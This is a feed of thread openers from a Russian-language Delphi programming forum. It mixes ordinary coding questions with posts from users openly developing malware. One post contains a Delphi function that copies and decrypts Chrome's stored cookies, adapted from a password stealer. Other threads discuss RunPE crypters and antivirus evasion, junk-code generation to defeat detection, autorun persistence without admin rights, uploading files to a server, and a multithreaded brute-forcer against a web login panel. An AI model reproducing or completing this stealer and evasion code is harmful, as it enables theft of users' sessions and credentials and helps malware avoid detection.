delfcode

Отлов ответа из cmd

tatsu — Mon, 25 Jan 2016 12:19:51 GMT

Всем доброго времени суток. Собственно задача: Выполнять досовую команду, но ответ писать не в консоль приложения, а в переменную. Нагуглил функцию. Работает. Однако есть 1 нюанс. Функция возвращает байты точь в точь, поскольку использует именованный канал. Кирилическая винда в командную строку выплёвывает как правило ответ в кодировке 866. Однако на деле имеем вместо текста кучу знаков вопросов и всё. Для отладки выплюнул ответ в файл. Вооружлся notepad++ и hex-редактором. Сравнил байты, оказалось - инглишный текст соответствует ASCII, а вот там где должный быть кирилические символы - байты не известной кодировки. Подскажите, как привести это в читабельный вид. Функция:

Код

function GetDosOutput(
      CommandLine: string; Work: string = 'C:\'): string;
var
  SA: TSecurityAttributes;
  SI: TStartupInfo;
  PI: TProcessInformation;
  StdOutPipeRead, StdOutPipeWrite: THandle;
  WasOK: Boolean;
  Buffer: array[0..255] of Char;
  BytesRead: Cardinal;
  WorkDir: string;
  Handle: Boolean;
begin
  Result := '';
  with SA do begin
    nLength := SizeOf(SA);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;
  CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0);
  try
    with SI do
    begin
      FillChar(SI, SizeOf(SI), 0);
      cb := SizeOf(SI);
      dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
      wShowWindow := SW_HIDE;
      hStdInput := GetStdHandle(
          STD_INPUT_HANDLE); // не переадресовывать stdinput
      hStdOutput := StdOutPipeWrite;
      hStdError := StdOutPipeWrite;
    end;
    WorkDir := Work;
    Handle := CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
                            nil, nil, True, 0, nil,
                            PChar(WorkDir), SI, PI);
    CloseHandle(StdOutPipeWrite);
    if Handle then
      try
        repeat
          WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);
          if BytesRead > 0 then
          begin
            Buffer[BytesRead] := #0;
            Result := Result + Buffer;
          end;
        until not WasOK or (BytesRead = 0);
        WaitForSingleObject(PI.hProcess, INFINITE);
      finally
        CloseHandle(PI.hThread);
        CloseHandle(PI.hProcess);
      end;
  finally
    CloseHandle(StdOutPipeRead);
  end;
end;

Delphi в Fasm XOR

d4rkzy — Tue, 29 Dec 2015 19:32:26 GMT

DecryptByteArray2(Массив_байтов; Результат_дешифровки_в_массиве; ключ_шифрования);

Перепишите пожалуйста эти функции под fasm

События компонентов в консольном приложении

tatsu — Mon, 21 Dec 2015 14:31:45 GMT

Всем привет, пилю консольный IRC-клиент. Столкнулся с проблемой - описание событий.
При наличии формы она является классом и процедуры, назначенные на обработку событий, декларируются в описании класса, как его методы.
Однако в консольном приложении для использования компонента я добавляю его в перечень uses.
Подскажите, как при этом нужно обрабатывать события компонента?
С вызовом методов - ничего сложного, обращаюсь через переменную экземпляра класса, а вот с событиями - ляпсус вышел.

Обьем exe в XE3

toorook — Mon, 21 Dec 2015 06:19:01 GMT

Всем Hi. Итак, до вчерашнего для работал в XE, все гуд. Сегодня поставил XE3, стал компилировать один и тот же код. Почему в XE мой exe весил 840kb, а в XE3 1,63mb ???
Я сильно разочарован... Может есть возможность сделать его меньше, без упаковщиков? Может где-то можно настроить это?

Помогите разобраться

Born — Tue, 15 Dec 2015 10:00:43 GMT

Здравствуйте.
Работаю с компонентом ZipForge.
Компонент архивирует файлы,как оп маске так и по имени.
Но оп маске он только одно расширение находит и архивирует.
Вот пример кода:

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
ZipForge1.BaseDir:='D:\';
ZipForge1.FileName:=('D:\TestRar.zip');
ZipForge1.OpenArchive(fmCreate);
ZipForge1.BaseDir:='D:\';
ZipForge1.AddFiles('*.txt');//Если сюда ещё добавить маску '*.pdf' тогда он в обще не архивирует .
ZipForge1.CloseArchive;
showmessage('Запаковано');

end;

end.

Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.
Помогите разобраться с компонентом...

Копирование во все папки

virusik83 — Thu, 12 Nov 2015 18:18:35 GMT

Форум: Вопросы по Delphi
Автор темы: virusik83
Автор последнего сообщения: dolphin
Количество ответов: 1

ВОЗМОЖНО?

Born — Mon, 02 Nov 2015 16:05:07 GMT

Здравствуйте.
Вообщем есть исходник запуска безопасного режима..
Исходник рабочий.

Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан.
При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа?
Я имею виду ветку HLKM.

if <50 then

MAS — Sun, 01 Nov 2015 12:59:11 GMT

Привет всем, давно тут не появлялся,
я хочу написать код проверки числа, например: если ровно 50 или больше (число в переменной string) то нечего не делает, если меньше выводим messagbox , я знаю как сделать , но я каждые цифры расписываю, так не удобно, так

if (a < b) and (a < c) then
l := a
else if (b < a) and (b < c) then

Объясните покажите

Dll + Exe

Wine — Thu, 22 Oct 2015 13:13:45 GMT

Форум: Вопросы по Delphi
Автор темы: Wine
Автор последнего сообщения: Slash
Количество ответов: 4

reverse dns lookup

black_catt — Sun, 04 Oct 2015 12:53:28 GMT

Подскажите как сделать, куда копать?
без обращений к посторонним сервисам,
Я так понимаю что нужно свой ДНС сервер напрячь 53й порт, удп протокол
но что спросить чтобы я ему скормил ip а он мне отдал список доменов подвязаных к ней...

RunPE криптер эффективность?

d4rkzy — Mon, 21 Sep 2015 14:53:26 GMT

Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.

Парсинг txt файла

HTTqp — Fri, 18 Sep 2015 09:55:08 GMT

Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными

Код

Nickname{       "d4rkzy"           }
Pass  {   "hgfh456uh"           }
url {            "https://******.net/****.html"           }

как получить строчку строчку url, а точнее https://******.net/****.html адрес? С использованием только Uses Windows;

delphi XE7 консольный демон

d4rkzy — Sat, 12 Sep 2015 11:39:09 GMT

Как скрыть консоль у консольного проекта?

Удалил: {$APPTYPE CONSOLE}

Консоль все равно видна.

Поставил ShowWindow(GetConsoleWindow(), 0); при запуске.
Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно.

Как пофиксить?

PACKAGEINFO и DVCLAL

black_catt — Tue, 08 Sep 2015 14:11:44 GMT

Осваиваю тему микроскопического delphi.
Как не создавать ресурсы PACKAGEINFO и DVCLAL
яснопонятно что их можно удалять ресурсэксплорером...

декрипт куков хрома :3

d4rkzy — Sat, 05 Sep 2015 18:50:15 GMT

Скопипастил код декрипта паролей хрома - проверил, все работает. Переделал под декрипт куков - в итоге получил код:

Код

function StartGetChromePass(sqlite3Dll: string; Delimitador: string): string;
var
   DB: TSQLiteDatabase;
   Tablo: TSQLiteTable;
   Sifre: string;
   Giren: DATA_BLOB;
   Cikan: DATA_BLOB;
   DataStream: TMemorystream;
   Arquivo, TempFile: string;
begin
   result := '';
   merdadll := sqlite3Dll;
   Arquivo := GetShellFolder($001C) + '\Google\Chrome\User Data\Default\Cookies'; //ou "web data" no antigo
   TempFile := MyTempFolder + inttostr(gettickcount) + '.tmp';
   if CopyFile(pchar(arquivo), pchar(TempFile), false) = false then exit;

   db := TSQLiteDatabase.Create(TempFile);

   tablo := DB.GetTable('SELECT * FROM cookies');
     exit;
   While not tablo.EOF do
   begin
     DataStream := TMemoryStream.Create;
     DataStream := tablo.FieldAsBlob(tablo.FieldIndex['encrypted_value']);
     Giren.pbData := DataStream.Memory;
     Giren.cbData := DataStream.Size;
     CryptUnProtectData(@Giren, nil,nil,nil,nil,0,@Cikan);
     SetString(sifre, PAnsiChar(Cikan.pbData), Cikan.cbData);
     Result := Result + 'Host: ' + tablo.FieldAsString(tablo.FieldIndex['host_key']) + #13#10;
     Result := Result + 'Name: ' + tablo.FieldAsString(tablo.FieldIndex['name']) + #13#10;
     Result := Result + 'Value: ' + sifre + #13#10 + #13#10;
     Tablo.Next;
   end;
   DeleteFile(pchar(TempFile));
end;

И крашицо на "tablo := DB.GetTable('SELECT * FROM cookies');" с ошибкой

Не понимаю что не так, хелпаните плзз.

Генератор мусорных функций и процедур

d4rkzy — Thu, 06 Aug 2015 16:11:38 GMT

Вообще-м, нужно в исходник файла проекта .pas закидывать мусорные функции, что бы автоматически сбивать функции.

Если есть такая реализация - киньте сорец:)
Если не же нет реалзиации, то давай-те придумаем как генерировать все это дело.

RunPE .NET files

d4rkzy — Thu, 06 Aug 2015 00:16:31 GMT

Форум: Вопросы по Delphi
Автор темы: d4rkzy
Автор последнего сообщения: d4rkzy
Количество ответов: 0

Array of Byte в string

d4rkzy — Wed, 05 Aug 2015 13:38:21 GMT

Как перевести содержимое array of byte в STRING

(например)
Fucker: Array [0 ..22] Of Byte = ($55, $8B, $EC, $81, $C4, $A4, $FA, $FF, $FF, $89, $45,
$FC, $E8, $1B, $02, $00, $00, $89, $85, $CC, $FD)

Seek на HEX адресс

Slash — Fri, 31 Jul 2015 21:25:10 GMT

Добрый день, ребята. В exe файле по адресу 0041101E вызывается функция, в этот адресс мне записать вместо оригинальной команды свою - jmp мой адресс(EB FD), так вот, как с помощью Seek(F, ...) переместится по адресу 0041101E?

Так тоже пробовал - перемещает на 4mb

Код

SetFilePointer(f, $0041101E,0, 0);

анти-кряк привязка к железу

d4rkzy — Sat, 25 Jul 2015 08:58:16 GMT

Вообще-м нужно привязать программу к одному компу, железу.
Как лучше сделать что бы минизировать % кряка, а лучше вообще без шанса на кряк? Думал функционал программы перенести на http сервер - правда не знаю как лучше сделать что бы скорость не потерять. У кого какие идеи?

П.С - программа к примеру вылазиет в интернет и парсит ссылки с яндекса.

Парсер

Born — Thu, 18 Jun 2015 02:41:54 GMT

Всем привет.
Ребят подскажите пожалуйста.
Вообщем хочу написать программу,которая будет определять ip адрес по стране.
Например задал я программе файл со списком ip адресов,и выбрал в комбебоксе город например москва,и программа бы вывила бы из файла тот диапазон ip адресов который относится к городу москва.

Как это реализовать?
Подскажите пожалуйста какие функции использовать.
Буду благодарин

internal error d11850

ETUN4 — Fri, 12 Jun 2015 17:24:23 GMT

Всем привет.
Компилирую проект с помощью bat-файла.
В нём вот что написано:

Цитата

dcc32.exe -q system.pas sysinit.pas -m -y -z -$d- -o
dcc32.exe myprog1.dpr
pause

Рядом положил все необходимые файлы, но когда компилирую пишет ошибку. Скриншот:

Как это исправить? В чём проблема?

Кодирование строк перед отправкой на сервер

d4rkzy — Mon, 08 Jun 2015 14:26:11 GMT

Есть некая абстрактная программа, которая при запуске читает какой нибудь .exe файл и отправляет его на сервер посредством post запроса (winsock api)
.ехе файл то бинарный, и как факт на сервер передаются бинарные строки - которые могут оборваться в любой момент - значит файл нужно как нибудь закодировать.

Думал кодировать base64 - ну не нашел функции которая кодировала бы крякозябры вроде åß∂ƒ©˙∆˚¬
Думал StrToHex - ну это вообще не о чем.

Кто может помочь функцией?

Пароль на жесткий диск

vint — Sun, 07 Jun 2015 08:29:56 GMT

Доброго времени суток, ув. форумчане. перерыл весь инет и нигде не нашел информации как средствами делфи поставить пароль на хард. Зато нашел этот сайт, который очень понравился. Я надеюсь на вашу помощь.

Delphi XE компилятор

d4rkzy — Tue, 26 May 2015 13:08:20 GMT

Какие нужны файлы для компиляции .dpr в .ехе на любом компе без установленного дельфи?
Надеюсь правильно выразился. Нужно скомпилировать .ехе - ну на компьютере нет установленного дельфи.

Сишники перепишите функцию на дельфу

d4rkzy — Sat, 23 May 2015 09:43:07 GMT

Код

int regkeyr(HKEY hKey, LPCTSTR lpSubKey, LPTSTR lpValueName, char *buff, DWORD len) {
     HKEY    key;

     buff[0] = 0;
     if(RegOpenKeyEx(hKey, lpSubKey, 0, KEY_READ, &key) != ERROR_SUCCESS) {
         return(-1);
     }
     if(RegQueryValueEx(key, lpValueName, NULL, REG_NONE, buff, &len) != ERROR_SUCCESS) {
         RegCloseKey(key);
         return(-1);
     }
     RegCloseKey(key);
     buff[len] = 0;
     return(len);
}

Перепишите эту функцию на дельфи пожалуйста, используется сплошное апи, думаю труда не составит.

Контроль за строкой URL браузера

Don_Diego — Tue, 19 May 2015 07:23:44 GMT

Нужно получить реал-таймовый контроль за данными в строке ввода URL в браузере.
Знаю что сейчас многие скажут это древний век и нужно делать свой сниффер. Однако нет, нужны данные именно оттуда
Загвоздка как раз в том, что не могу отыскать имена контролов (например в Google Chrome).
Использовал разные Spy++, InqSoft Window Scanner - ничего не помогло.
Как быть?

delphi 7 или XE7?

d4rkzy — Sun, 26 Apr 2015 15:02:50 GMT

В чем отличия между этими двумя софтами?
Какой лучше для зловоредов - почему?

дельфи 7 - говорят что нет поддержки работы на х64 (ехешников) - правда или нет?

winsock и time out

d4rkzy — Thu, 12 Mar 2015 15:00:08 GMT

Пишу функцию URL to HTML. Страница парсится, на ошибки проверяю. Ну иногда процесс парса длится слишком долго (ответ сервера)

Как реализовать timeout функцию? что бы спустя 5 секунд если нет ответа функция завершала сама себя,

аля idhttp.timeout

Брут

d4rkzy — Thu, 12 Mar 2015 14:56:40 GMT

Накидал код для брута панельки интернета. Сделал потоки - все работает. Одно но - иногда пропускает гуды и случайно кидает в бед.

Как пофикстить? Есть у кого нибудь пример стабильного поток брута?